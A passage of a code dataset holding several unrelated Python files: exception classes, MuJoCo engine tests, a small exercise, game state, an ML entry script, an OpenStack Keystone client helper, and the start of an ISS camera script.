super(MismatchedParametersError, self).__init__(self.message)\n\n\nclass MissingResourceError(Exception):\n \"\"\"\n User not found error is raised when an invalid user id is provided to the system as input\n for user lookup\n\n application.modules.core.exc.missing.MissingResourceError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n missing_resource = ERROR_CODES.validation_errors.get('missing_resource')\n\n self.message = missing_resource.message\n self.code = missing_resource.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(MissingResourceError, self).__init__(self.message)\n\n\nclass ProviderNotFoundError(Exception):\n \"\"\"\n Provider not found error is raised when an invalid provider id is provided to the system as input\n for provider lookup\n\n application.modules.core.exc.missing.ProviderNotFoundError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n user_not_found = ERROR_CODES.validation_errors.get('provider_not_found')\n\n self.message = user_not_found.message\n self.code = user_not_found.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(ProviderNotFoundError, self).__init__(self.message)\n\n\nclass ServiceNotFoundError(Exception):\n \"\"\"\n Service not found error is raised when an invalid service name is provided to the system as input\n for service lookup in consul\n\n application.modules.core.exc.missing.ServiceNotFoundError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n service_not_found = ERROR_CODES.internal_errors.get('service_not_found')\n\n self.message = service_not_found.message\n self.code = service_not_found.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(ServiceNotFoundError, self).__init__(self.message)\n\n\nclass UserNotFoundError(Exception):\n \"\"\"\n User not found error is raised when an invalid user id is provided to the system as input\n for user lookup\n\n application.modules.core.exc.missing.UserNotFoundError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n user_not_found = ERROR_CODES.internal_errors.get('user_not_found')\n\n self.message = user_not_found.message\n self.code = user_not_found.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(UserNotFoundError, self).__init__(self.message)\n","repo_name":"segedy01/churner","sub_path":"application/modules/core/exc/missing.py","file_name":"missing.py","file_ext":"py","file_size_in_byte":5895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73566429903","text":"import copy\nimport pickle\n\nfrom absl.testing import absltest\nfrom absl.testing import parameterized\nfrom dm_control.mujoco import engine\nfrom dm_control.mujoco import wrapper\nfrom dm_control.mujoco.testing import assets\nfrom dm_control.mujoco.wrapper.mjbindings import enums\nfrom dm_control.rl import control\nimport mock\nimport mujoco\nimport numpy as np\n\nMODEL_PATH = assets.get_path('cartpole.xml')\nMODEL_WITH_ASSETS = assets.get_contents('model_with_assets.xml')\nASSETS = {\n 'texture.png': assets.get_contents('deepmind.png'),\n 'mesh.stl': assets.get_contents('cube.stl'),\n 'included.xml': assets.get_contents('sphere.xml')\n}\n\n\nclass MujocoEngineTest(parameterized.TestCase):\n\n def setUp(self):\n super().setUp()\n self._physics = engine.Physics.from_xml_path(MODEL_PATH)\n\n def _assert_attributes_equal(self, actual_obj, expected_obj, attr_to_compare):\n for name in attr_to_compare:\n actual_value = getattr(actual_obj, name)\n expected_value = getattr(expected_obj, name)\n try:\n if isinstance(expected_value, np.ndarray):\n np.testing.assert_array_equal(actual_value, expected_value)\n else:\n self.assertEqual(actual_value, expected_value)\n except AssertionError as e:\n raise AssertionError(\n f\"Attribute '{name}' differs from expected value.\") from e\n\n @parameterized.parameters(0, 'cart', u'cart')\n def testCameraIndexing(self, camera_id):\n height, width = 480, 640\n _ = engine.Camera(\n self._physics, height, width, camera_id=camera_id)\n\n def testDepthRender(self):\n plane_and_box = \"\"\"\n \n \n \n \n \n \n \n \"\"\"\n physics = engine.Physics.from_xml_string(plane_and_box)\n pixels = physics.render(height=200, width=200, camera_id='top', depth=True)\n # Nearest pixels should be 2.8m away\n np.testing.assert_approx_equal(pixels.min(), 2.8, 3)\n # Furthest pixels should be 3m away (depth is orthographic)\n np.testing.assert_approx_equal(pixels.max(), 3.0, 3)\n\n @parameterized.parameters([True, False])\n def testSegmentationRender(self, enable_geom_frame_rendering):\n box_four_corners = \"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n physics = engine.Physics.from_xml_string(box_four_corners)\n obj_type_geom = enums.mjtObj.mjOBJ_GEOM # Geom object type\n obj_type_site = enums.mjtObj.mjOBJ_SITE # Site object type\n obj_type_decor = enums.mjtObj.mjOBJ_UNKNOWN # Decor object type\n scene_options = wrapper.MjvOption()\n if enable_geom_frame_rendering:\n scene_options.frame = mujoco.mjtFrame.mjFRAME_GEOM\n pixels = physics.render(height=200, width=200, camera_id='top',\n segmentation=True, scene_option=scene_options)\n\n # The pixel indices below were chosen so that toggling the frame decors do\n # not affect the segmentation results.\n with self.subTest('Center pixels should have background label'):\n np.testing.assert_equal(pixels[95:105, 95:105, 0], -1)\n np.testing.assert_equal(pixels[95:105, 95:105, 1], -1)\n with self.subTest('Geoms have correct object type'):\n np.testing.assert_equal(pixels[15:25, 0:10, 1], obj_type_geom)\n np.testing.assert_equal(pixels[15:25, 190:200, 1], obj_type_geom)\n with self.subTest('Sites have correct object type'):\n np.testing.assert_equal(pixels[190:200, 190:200, 1], obj_type_site)\n np.testing.assert_equal(pixels[190:200, 0:10, 1], obj_type_site)\n with self.subTest('Geoms have correct object IDs'):\n np.testing.assert_equal(pixels[15:25, 0:10, 0],\n physics.model.name2id('box0', obj_type_geom))\n np.testing.assert_equal(pixels[15:25, 190:200, 0],\n physics.model.name2id('box1', obj_type_geom))\n with self.subTest('Sites have correct object IDs'):\n np.testing.assert_equal(pixels[190:200, 190:200, 0],\n physics.model.name2id('box2', obj_type_site))\n np.testing.assert_equal(pixels[190:200, 0:10, 0],\n physics.model.name2id('box3', obj_type_site))\n with self.subTest('Decor elements present if and only if geom frames are '\n 'enabled'):\n contains_decor = np.any(pixels[:, :, 1] == obj_type_decor)\n self.assertEqual(contains_decor, enable_geom_frame_rendering)\n\n def testSceneCallback(self):\n empty_world = \"\"\"\n \n \n \n \n \n \"\"\"\n\n def callback(_, scn: mujoco.MjvScene):\n # Add a red box to the scene\n scn.ngeom += 1\n mujoco.mjv_initGeom(\n scn.geoms[scn.ngeom - 1],\n mujoco.mjtGeom.mjGEOM_BOX.value,\n size=np.array([0.2, 0.2, 0.2]),\n pos=np.zeros(3),\n mat=np.eye(3).flatten(),\n rgba=np.array([1, 0, 0, 1], dtype=np.float32))\n\n physics = engine.Physics.from_xml_string(empty_world)\n\n # Without the callback, render should return a black image.\n empty_image = physics.render(\n height=8, width=8, camera_id='cam', scene_callback=None)\n np.testing.assert_array_equal(\n np.zeros((8, 8, 3), dtype=np.uint8), empty_image)\n\n # With the callback, there should be a red box.\n pixels = physics.render(\n height=8, width=8, camera_id='cam', scene_callback=callback)\n # Are there any pixels where red component is bigger than green and blue?\n any_red_pixels = np.any(pixels[:, :, 0] > np.max(pixels[:, :, 1:3], axis=2))\n self.assertTrue(any_red_pixels, 'Expecting some red pixels.')\n\n def testTextOverlay(self):\n height, width = 480, 640\n overlay = engine.TextOverlay(title='Title', body='Body', style='big',\n position='bottom right')\n\n no_overlay = self._physics.render(height, width, camera_id=0)\n with_overlay = self._physics.render(height, width, camera_id=0,\n overlays=[overlay])\n self.assertFalse(np.all(no_overlay == with_overlay),\n msg='Images are identical with and without text overlay.')\n\n def testSceneOption(self):\n height, width = 480, 640\n scene_option = wrapper.MjvOption()\n\n # Render geoms as semi-transparent.\n scene_option.flags[enums.mjtVisFlag.mjVIS_TRANSPARENT] = 1\n\n no_scene_option = self._physics.render(height, width, camera_id=0)\n with_scene_option = self._physics.render(height, width, camera_id=0,\n scene_option=scene_option)\n self.assertFalse(np.all(no_scene_option == with_scene_option),\n msg='Images are identical with and without scene option.')\n\n def testRenderFlags(self):\n height, width = 480, 640\n cam = engine.Camera(self._physics, height, width, camera_id=0)\n cam.scene.flags[enums.mjtRndFlag.mjRND_WIREFRAME] = 1 # Enable wireframe\n enabled = cam.render().copy()\n cam.scene.flags[enums.mjtRndFlag.mjRND_WIREFRAME] = 0 # Disable wireframe\n disabled = cam.render().copy()\n self.assertFalse(\n np.all(disabled == enabled),\n msg='Images are identical regardless of whether wireframe is enabled.')\n\n @parameterized.parameters(((0.5, 0.5), (1, 3)), # pole\n ((0.5, 0.1), (0, 0)), # ground\n ((0.9, 0.9), (None, None)), # sky\n )\n def testCameraSelection(self, coordinates, expected_selection):\n height, width = 480, 640\n camera = engine.Camera(self._physics, height, width, camera_id=0)\n\n # Test for b/63380170: Enabling visualization of body frames adds\n # \"non-model\" geoms to the scene. This means that the indices of geoms\n # within `camera._scene.geoms` don't match the rows of `model.geom_bodyid`.\n camera.option.frame = enums.mjtFrame.mjFRAME_BODY\n\n selected = camera.select(coordinates)\n self.assertEqual(expected_selection, selected[:2])\n\n @parameterized.parameters(\n dict(camera_id='cam0', height=200, width=300),\n dict(camera_id=1, height=300, width=200),\n dict(camera_id=-1, height=400, width=400),\n )\n def testCameraMatrix(self, camera_id, height, width):\n \"\"\"Tests the camera_matrix() method.\n\n Creates a model with two cameras and two small geoms. We render the scene\n with one of the cameras and check that the geom locations, projected into\n pixel space, are correct, using segmenation rendering.\n xyz2pixels() shows how the transformation is used. For a description\n of the camera matrix see https://en.wikipedia.org/wiki/Camera_matrix.\n\n Args:\n camera_id: One of the two cameras. Can be either integer or String.\n height: The height of the image (pixels).\n width: The width of the image (pixels).\n \"\"\"\n\n def xyz2pixels(x, y, z, camera_matrix):\n \"\"\"Transforms from world coordinates to pixel coordinates.\"\"\"\n xs, ys, s = camera_matrix.dot(np.array([x, y, z, 1.0]))\n return xs/s, ys/s\n\n two_geoms_and_two_cameras = \"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n physics = engine.Physics.from_xml_string(two_geoms_and_two_cameras)\n camera = engine.Camera(physics, width=width, height=height,\n camera_id=camera_id)\n camera_matrix = camera.matrix # Get camera matrix.\n pixels = camera.render(segmentation=True) # Render a segmentation frame.\n for geom_id in [0, 1]:\n # Compute the location of the geom in pixel space using the camera matrix.\n x, y = xyz2pixels(*physics.data.geom_xpos[geom_id], camera_matrix)\n row = int(round(y))\n column = int(round(x))\n # Compare segmentation values of nearest pixel to corresponding geom.\n [obj_id, obj_type] = pixels[row, column, :]\n self.assertEqual(obj_type, enums.mjtObj.mjOBJ_GEOM)\n self.assertEqual(obj_id, geom_id)\n\n def testMovableCameraSetGetPose(self):\n height, width = 240, 320\n\n camera = engine.MovableCamera(self._physics, height, width)\n image = camera.render().copy()\n\n pose = camera.get_pose()\n\n lookat_offset = np.array([0.01, 0.02, -0.03])\n\n # Would normally pass the new values directly to camera.set_pose instead of\n # using the namedtuple _replace method, but this makes the asserts at the\n # end of the test a little cleaner.\n new_pose = pose._replace(distance=pose.distance * 1.5,\n lookat=pose.lookat + lookat_offset,\n azimuth=pose.azimuth + -15,\n elevation=pose.elevation - 10)\n\n camera.set_pose(*new_pose)\n\n self.assertEqual(new_pose.distance, camera.get_pose().distance)\n self.assertEqual(new_pose.azimuth, camera.get_pose().azimuth)\n self.assertEqual(new_pose.elevation, camera.get_pose().elevation)\n np.testing.assert_allclose(new_pose.lookat, camera.get_pose().lookat)\n\n self.assertFalse(np.all(image == camera.render()))\n\n def testRenderExceptions(self):\n max_width = self._physics.model.vis.global_.offwidth\n max_height = self._physics.model.vis.global_.offheight\n max_camid = self._physics.model.ncam - 1\n with self.assertRaisesRegex(ValueError, 'width'):\n self._physics.render(max_height, max_width + 1, camera_id=max_camid)\n with self.assertRaisesRegex(ValueError, 'height'):\n self._physics.render(max_height + 1, max_width, camera_id=max_camid)\n with self.assertRaisesRegex(ValueError, 'camera_id'):\n self._physics.render(max_height, max_width, camera_id=max_camid + 1)\n with self.assertRaisesRegex(ValueError, 'camera_id'):\n self._physics.render(max_height, max_width, camera_id=-2)\n\n def testPhysicsRenderMethod(self):\n height, width = 240, 320\n image = self._physics.render(height=height, width=width)\n self.assertEqual(image.shape, (height, width, 3))\n depth = self._physics.render(height=height, width=width, depth=True)\n self.assertEqual(depth.shape, (height, width))\n segmentation = self._physics.render(height=height, width=width,\n segmentation=True)\n self.assertEqual(segmentation.shape, (height, width, 2))\n\n def testExceptionIfBothDepthAndSegmentation(self):\n with self.assertRaisesWithLiteralMatch(\n ValueError, engine._BOTH_SEGMENTATION_AND_DEPTH_ENABLED):\n self._physics.render(depth=True, segmentation=True)\n\n def testRenderFlagOverridesAreNotPersistent(self):\n camera = engine.Camera(self._physics)\n first_rgb = camera.render().copy()\n camera.render(segmentation=True)\n second_rgb = camera.render().copy()\n np.testing.assert_array_equal(first_rgb, second_rgb)\n\n def testCustomRenderFlags(self):\n default = self._physics.render()\n wireframe_string_key = self._physics.render(\n render_flag_overrides=dict(wireframe=True))\n self.assertFalse((default == wireframe_string_key).all())\n wireframe_enum_key = self._physics.render(\n render_flag_overrides={enums.mjtRndFlag.mjRND_WIREFRAME: True})\n np.testing.assert_array_equal(wireframe_string_key, wireframe_enum_key)\n\n @parameterized.parameters(dict(depth=True), dict(segmentation=True))\n def testExceptionIfRenderFlagOverridesAndDepthOrSegmentation(self, **kwargs):\n with self.assertRaisesWithLiteralMatch(\n ValueError,\n engine._RENDER_FLAG_OVERRIDES_NOT_SUPPORTED_FOR_DEPTH_OR_SEGMENTATION):\n self._physics.render(render_flag_overrides=dict(wireframe=True), **kwargs)\n\n def testExceptionIfOverlaysAndDepthOrSegmentation(self):\n overlay = engine.TextOverlay()\n with self.assertRaisesWithLiteralMatch(\n ValueError, engine._OVERLAYS_NOT_SUPPORTED_FOR_DEPTH_OR_SEGMENTATION):\n self._physics.render(depth=True, overlays=[overlay])\n with self.assertRaisesWithLiteralMatch(\n ValueError, engine._OVERLAYS_NOT_SUPPORTED_FOR_DEPTH_OR_SEGMENTATION):\n self._physics.render(segmentation=True, overlays=[overlay])\n\n def testNamedViews(self):\n self.assertEqual((1,), self._physics.control().shape)\n self.assertEqual((2,), self._physics.position().shape)\n self.assertEqual((2,), self._physics.velocity().shape)\n self.assertEqual((0,), self._physics.activation().shape)\n self.assertEqual((4,), self._physics.state().shape)\n self.assertEqual(0., self._physics.time())\n self.assertEqual(0.01, self._physics.timestep())\n\n def testSetGetPhysicsState(self):\n physics_state = self._physics.get_state()\n\n # qpos, qvel, act\n self.assertLen(self._physics._physics_state_items(), 3)\n\n self._physics.set_state(physics_state)\n\n new_physics_state = np.random.random_sample(physics_state.shape)\n self._physics.set_state(new_physics_state)\n\n np.testing.assert_allclose(new_physics_state,\n self._physics.get_state())\n\n def testSetGetPhysicsStateWithPlugin(self):\n # Model copied from mujoco/test/plugin/elasticity/elasticity_test.cc\n model_with_cable_plugin = \"\"\"\n \n \n \"\"\"\n physics = engine.Physics.from_xml_string(model_with_cable_plugin)\n physics_state = physics.get_state()\n\n # qpos, qvel, act, plugin_state\n self.assertLen(physics._physics_state_items(), 4)\n\n physics.set_state(physics_state)\n\n new_physics_state = np.random.random_sample(physics_state.shape)\n physics.set_state(new_physics_state)\n\n np.testing.assert_allclose(new_physics_state, physics.get_state())\n\n def testSetInvalidPhysicsState(self):\n badly_shaped_state = np.repeat(self._physics.get_state(), repeats=2)\n\n with self.assertRaises(ValueError):\n self._physics.set_state(badly_shaped_state)\n\n def testNamedIndexing(self):\n self.assertEqual((3,), self._physics.named.data.xpos['cart'].shape)\n self.assertEqual((2, 3),\n self._physics.named.data.xpos[['cart', 'pole']].shape)\n\n def testReload(self):\n self._physics.reload_from_xml_path(MODEL_PATH)\n\n def testReset(self):\n self._physics.reset()\n self.assertEqual(self._physics.data.qpos[1], 0)\n keyframe_id = 0\n self._physics.reset(keyframe_id=keyframe_id)\n self.assertEqual(self._physics.data.qpos[1],\n self._physics.model.key_qpos[keyframe_id, 1])\n out_of_range = [-1, 3]\n max_valid = self._physics.model.nkey - 1\n for actual in out_of_range:\n with self.assertRaisesWithLiteralMatch(\n ValueError,\n engine._KEYFRAME_ID_OUT_OF_RANGE.format(\n max_valid=max_valid, actual=actual)):\n self._physics.reset(keyframe_id=actual)\n\n def testLoadAndReloadFromStringWithAssets(self):\n physics = engine.Physics.from_xml_string(\n MODEL_WITH_ASSETS, assets=ASSETS)\n physics.reload_from_xml_string(MODEL_WITH_ASSETS, assets=ASSETS)\n\n @parameterized.parameters(*enums.mjtWarning._fields[:-1])\n def testDivergenceException(self, warning_name):\n warning_enum = getattr(enums.mjtWarning, warning_name)\n with self.assertRaisesWithLiteralMatch(\n control.PhysicsError,\n engine._INVALID_PHYSICS_STATE.format(warning_names=warning_name)):\n with self._physics.check_invalid_state():\n self._physics.data.warning[warning_enum].number = 1\n # Existing warnings should not raise an exception.\n with self._physics.check_invalid_state():\n pass\n self._physics.reset()\n with self._physics.check_invalid_state():\n pass\n\n @parameterized.parameters(float('inf'), float('nan'), 1e15)\n def testBadQpos(self, bad_value):\n with self._physics.reset_context():\n self._physics.data.qpos[0] = bad_value\n with self.assertRaises(control.PhysicsError):\n with self._physics.check_invalid_state():\n mujoco.mj_checkPos(self._physics.model.ptr, self._physics.data.ptr)\n self._physics.reset()\n with self._physics.check_invalid_state():\n mujoco.mj_checkPos(self._physics.model.ptr, self._physics.data.ptr)\n\n def testNanControl(self):\n with self._physics.reset_context():\n pass\n\n # Apply the controls.\n with self.assertRaisesWithLiteralMatch(\n control.PhysicsError,\n engine._INVALID_PHYSICS_STATE.format(warning_names='mjWARN_BADCTRL')):\n with self._physics.check_invalid_state():\n self._physics.data.ctrl[0] = float('nan')\n self._physics.step()\n\n def testSuppressPhysicsError(self):\n bad_value = float('nan')\n message = engine._INVALID_PHYSICS_STATE.format(\n warning_names='mjWARN_BADCTRL')\n\n def assert_physics_error():\n self._physics.data.ctrl[0] = bad_value\n with self.assertRaisesWithLiteralMatch(control.PhysicsError, message):\n self._physics.forward()\n\n def assert_warning():\n self._physics.data.ctrl[0] = bad_value\n with mock.patch.object(engine.logging, 'warn') as mock_warn:\n self._physics.forward()\n mock_warn.assert_called_once_with(message)\n\n assert_physics_error()\n with self._physics.suppress_physics_errors():\n assert_warning()\n with self._physics.suppress_physics_errors():\n assert_warning()\n assert_warning()\n assert_physics_error()\n\n @parameterized.named_parameters(\n ('_copy', lambda x: x.copy()),\n ('_deepcopy', copy.deepcopy),\n ('_pickle_and_unpickle', lambda x: pickle.loads(pickle.dumps(x))),\n )\n def testCopyOrPicklePhysics(self, func):\n for _ in range(10):\n self._physics.step()\n physics2 = func(self._physics)\n self.assertNotEqual(physics2.model.ptr, self._physics.model.ptr)\n self.assertNotEqual(physics2.data.ptr, self._physics.data.ptr)\n model_attr_to_compare = ('nnames', 'njmax', 'body_pos', 'geom_quat')\n self._assert_attributes_equal(\n physics2.model, self._physics.model, model_attr_to_compare)\n data_attr_to_compare = ('time', 'energy', 'qpos', 'xpos')\n self._assert_attributes_equal(\n physics2.data, self._physics.data, data_attr_to_compare)\n for _ in range(10):\n self._physics.step()\n physics2.step()\n self._assert_attributes_equal(\n physics2.model, self._physics.model, model_attr_to_compare)\n self._assert_attributes_equal(\n physics2.data, self._physics.data, data_attr_to_compare)\n\n @parameterized.named_parameters(\n ('_copy', lambda x: x.copy()),\n ('_pickle_and_unpickle', lambda x: pickle.loads(pickle.dumps(x))),\n )\n def testSuppressErrorsAfterCopyOrPicklePhysics(self, func):\n # Regression test for a problem that used to exist where\n # suppress_physics_errors couldn't be used on Physics objects that were\n # unpickled.\n physics2 = func(self._physics)\n with physics2.suppress_physics_errors():\n pass\n\n def testCopyDataOnly(self):\n physics2 = self._physics.copy(share_model=True)\n self.assertEqual(physics2.model.ptr, self._physics.model.ptr)\n self.assertNotEqual(physics2.data.ptr, self._physics.data.ptr)\n\n def testForwardDynamicsUpdatedAfterReset(self):\n gravity = -9.81\n self._physics.model.opt.gravity[2] = gravity\n with self._physics.reset_context():\n pass\n self.assertAlmostEqual(\n self._physics.named.data.sensordata['accelerometer'][2], -gravity)\n\n def testActuationNotAppliedInAfterReset(self):\n self._physics.data.ctrl[0] = 1.\n self._physics.after_reset() # Calls `forward()` with actuation disabled.\n self.assertEqual(self._physics.data.actuator_force[0], 0.)\n self._physics.forward() # Call `forward` directly with actuation enabled.\n self.assertEqual(self._physics.data.actuator_force[0], 1.)\n\n def testActionSpec(self):\n xml = \"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n physics = engine.Physics.from_xml_string(xml)\n spec = engine.action_spec(physics)\n self.assertEqual(float, spec.dtype)\n np.testing.assert_array_equal(spec.minimum, [-mujoco.mjMAXVAL, -1.0])\n np.testing.assert_array_equal(spec.maximum, [mujoco.mjMAXVAL, 2.0])\n\n def testNstep(self):\n # Make initial state.\n with self._physics.reset_context():\n self._physics.data.qvel[0] = 1\n self._physics.data.qvel[1] = 1\n initial_state = self._physics.get_state()\n\n # step() 4 times.\n for _ in range(4):\n self._physics.step()\n for_loop_state = self._physics.get_state()\n\n # Reset state, call step(4).\n with self._physics.reset_context():\n self._physics.set_state(initial_state)\n self._physics.step(4)\n nstep_state = self._physics.get_state()\n\n np.testing.assert_array_equal(for_loop_state, nstep_state)\n\n # Repeat test with with RK4 integrator:\n self._physics.model.opt.integrator = enums.mjtIntegrator.mjINT_RK4\n\n # step() 4 times.\n with self._physics.reset_context():\n self._physics.set_state(initial_state)\n for _ in range(4):\n self._physics.step()\n for_loop_state_rk4 = self._physics.get_state()\n\n # Reset state, call step(4).\n with self._physics.reset_context():\n self._physics.set_state(initial_state)\n self._physics.step(4)\n nstep_state_rk4 = self._physics.get_state()\n\n np.testing.assert_array_equal(for_loop_state_rk4, nstep_state_rk4)\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"deepmind/dm_control","sub_path":"dm_control/mujoco/engine_test.py","file_name":"engine_test.py","file_ext":"py","file_size_in_byte":25072,"program_lang":"python","lang":"en","doc_type":"code","stars":3200,"dataset":"github-code","pt":"47"} +{"seq_id":"38456585475","text":"# 상자로 채워진 방이있다.\n# 90도 회전이 끝난 이후\n# 가장 큰 낙차를 구하면 된다.\n# 오른쪽에 무엇이 있냐 (오른쪽으로 회전이기때문에)\n\n#각 줄의 가장 높이 있는 상자의 낙차가 각줄에서 가장 크다.\n#낙차를 구하는 방법:\n# 현재 오른쪽에 비어있거나 높이가 자신보다 작은 상자이면, 낙차를 하나씩 더하면 된다.\nboxes=[7,4,2,0,0,6,0,7,0]\n\nbox= len(boxes)\na=boxes.count(max(boxes))\n\nif a == 1:\n result=box-1\nelse:\n result=box-a\n\nprint(result)","repo_name":"juyi212/Algorithm_study","sub_path":"0803/gravity.py","file_name":"gravity.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20043632399","text":"from items.items import *\nfrom map import rooms\n\n# Variables are dynamic - they change as the game progresses.\nplayer_name = \"\"\nhp = 100\nweight = 0\ninventory = []\nscore = 0\narmor = 0\n\nobjectives_changed = 0\nobjectives = OrderedDict([\n (\"main_objective\", \"Find a way to escape from the ship! - Main Objective\")\n])\n\n# States\nis_naked = 0\nscanner_power = 12\nhangar_2_power = 0\n\n# Used to calculate and change current enemy hp instead of the enemy declaration itself\nin_battle_enemy_hp = 0\nencounters = []\nauto_save_count = 0\n# Whenever the player moves to a new room, last_room is changed to the previous one so that the player can use \"go back\" to go back\nlast_room = []\n\n# Updates the room the player is currently in (happens before room is displayed)\ncurrent_room = rooms[\"Wrecked Ship\"]\n\n# For certain commands, tells the player in which room he is. Variable is set to room's name_ID value\nin_room = \"Wrecked Ship\"","repo_name":"Cardiff-ComSci-Sixteen/BC-Clarence-Game-Project","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4374145673","text":"#\n# ### ###### ### ### ## ### ####### ### ######\n# ##### ## ### ### ### ### ###\n# ### ### ## ### ### ### ### ####### ###\n# ### ### ##### ### ### ### ### ### ### ######\n# ### ### ### ## ### ### ### ### ###\n# ### ### ## ### ### ### ### ###\n# ### ### ####### ### ### ## ### ### ######\n#\n\n\nfrom model_partI import train_model as train_model_part1\nfrom model_partII import train_model as train_model_part2 # Assuming this is the function for part2 training\nfrom load_and_predict import load_and_predict\nfrom prepare_data import prepare_data\n\n\n\n# Now any file paths will be relative to the new working directory\n\n\n\ndef main(DATA_PATH='../Data/ML1_20200101_185651_GaiaDR3.fits',\n COORD_PATH='../Data/coordinates.csv',\n MODEL_NAME='model_PART_2.h5',\n train_model=False,\n demo_plot=False,\n epochs=10,\n hdu=0):\n\n # ---------------------\n # Method choice\n # ---------------------\n if train_model:\n\n # ---------------------\n # Train the Part I model\n # ---------------------\n\n print(\"Training Part I Model...\")\n train_dataset, valid_dataset, total_train, total_val = prepare_data(DATA_PATH)\n\n # Train the model\n train_model_part1(train_dataset, valid_dataset, total_train, total_val)\n\n # ---------------------\n # Train the Part II model\n # ---------------------\n print(\"Training Part II Model...\")\n\n # Train the model\n train_model_part2(train_dataset, valid_dataset, total_train, total_val)\n\n exit()\n else:\n # ---------------------\n # Load model and predict on synthetic images\n # ---------------------\n patches = prepare_data(DATA_PATH, COORD_PATH)\n print(\"Loading model and predicting on synthetic images...\")\n\n predictions = load_and_predict(MODEL_NAME, np.array(patches))\n print(predictions)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"FiorenSt/AutoSourceID-FeatureExtractor","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4931664318","text":"from keystoneauth1 import loading\nfrom keystoneclient.v3 import client as ks_client\nfrom oslo_config import cfg\n\nfrom mistral import context\n\nCONF = cfg.CONF\n\n\ndef client():\n ctx = context.ctx()\n auth_url = ctx.auth_uri or CONF.keystone_authtoken.www_authenticate_uri\n\n cl = ks_client.Client(\n user_id=ctx.user_id,\n token=ctx.auth_token,\n tenant_id=ctx.project_id,\n auth_url=auth_url\n )\n\n cl.management_url = auth_url\n\n return cl\n\n\ndef client_for_admin():\n return _admin_client()\n\n\ndef client_for_trusts(trust_id):\n return _admin_client(trust_id=trust_id)\n\n\ndef _admin_client(trust_id=None):\n if CONF.keystone_authtoken.auth_type is None:\n auth_url = CONF.keystone_authtoken.www_authenticate_uri\n project_name = CONF.keystone_authtoken.admin_tenant_name\n\n # You can't use trust and project together\n\n if trust_id:\n project_name = None\n\n cl = ks_client.Client(\n username=CONF.keystone_authtoken.admin_user,\n password=CONF.keystone_authtoken.admin_password,\n project_name=project_name,\n auth_url=auth_url,\n trusts=trust_id\n )\n\n cl.management_url = auth_url\n\n return cl\n else:\n kwargs = {}\n\n if trust_id:\n # Remove domain_id, domain_name, project_name and project_id,\n # since we need a trust scoped auth object\n kwargs['domain_id'] = None\n kwargs['domain_name'] = None\n kwargs['project_name'] = None\n kwargs['project_domain_name'] = None\n kwargs['project_id'] = None\n kwargs['trust_id'] = trust_id\n\n auth = loading.load_auth_from_conf_options(\n CONF,\n 'keystone_authtoken',\n **kwargs\n )\n sess = loading.load_session_from_conf_options(\n CONF,\n 'keystone',\n auth=auth\n )\n\n return ks_client.Client(session=sess)\n","repo_name":"openstack/mistral","sub_path":"mistral/utils/openstack/keystone.py","file_name":"keystone.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"47"} +{"seq_id":"16109940485","text":"import csv\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom time import sleep\n\nfrom logzero import logfile, logger\nfrom orbit import ISS\nfrom picamera import PiCamera\n\ndef create_csv_file(data_file):\n \"\"\"Create a new CSV file and add the header row\"\"\"\n with open(data_file, 'w') as f:\n writer = csv.writer(f)\n header = (\"Counter\", \"Date/time\", \"Latitude\", \"Longitude\")\n writer.writerow(header)\n\ndef add_csv_data(data_file, data):\n \"\"\"Add a row of data to the data_file CSV\"\"\"\n with open(data_file, 'a') as f:\n writer = csv.writer(f)\n writer.writerow(data)\n\ndef convert(angle):\n \"\"\"\n Convert a `skyfield` Angle to an EXIF-appropriate\n representation (rationals)\n e.g. 98° 34' 58.7 to \"98/1,34/1,587/10\"\n\n Return a tuple containing a boolean and the converted angle,\n with the boolean indicating if the angle is negative.\n \"\"\"\n sign, degrees, minutes, seconds = angle.signed_dms()\n exif_angle = f'{degrees:.0f}/1,{minutes:.0f}/1,{seconds*10:.0f}/10'\n return sign < 0, exif_angle\n\ndef capture(camera, image):\n \"\"\"Use `camera` to capture an `image` file with lat/long EXIF data.\"\"\"\n location = ISS.coordinates()\n\n # Convert the latitude and longitude to EXIF-appropriate representations\n south, exif_latitude = convert(location.latitude)\n west, exif_longitude = convert(location.longitude)\n\n # Set the EXIF tags specifying the current location\n camera.exif_tags['GPS.GPSLatitude'] = exif_latitude\n camera.exif_tags['GPS.GPSLatitudeRef'] = \"S\" if south else \"N\"\n camera.exif_tags['GPS.GPSLongitude'] = exif_longitude\n camera.exif_tags['GPS.GPSLongitudeRef'] = \"W\" if west else \"E\"\n\n # Capture the image\n camera.capture(image)\n\n\nbase_folder = Path(__file__).parent.resolve()\n\n# Set a logfile name\nlogfile(base_folder/\"flight.log\")\n\n# Set up camera\ncam = PiCamera()\ncam.resolution = (1296, 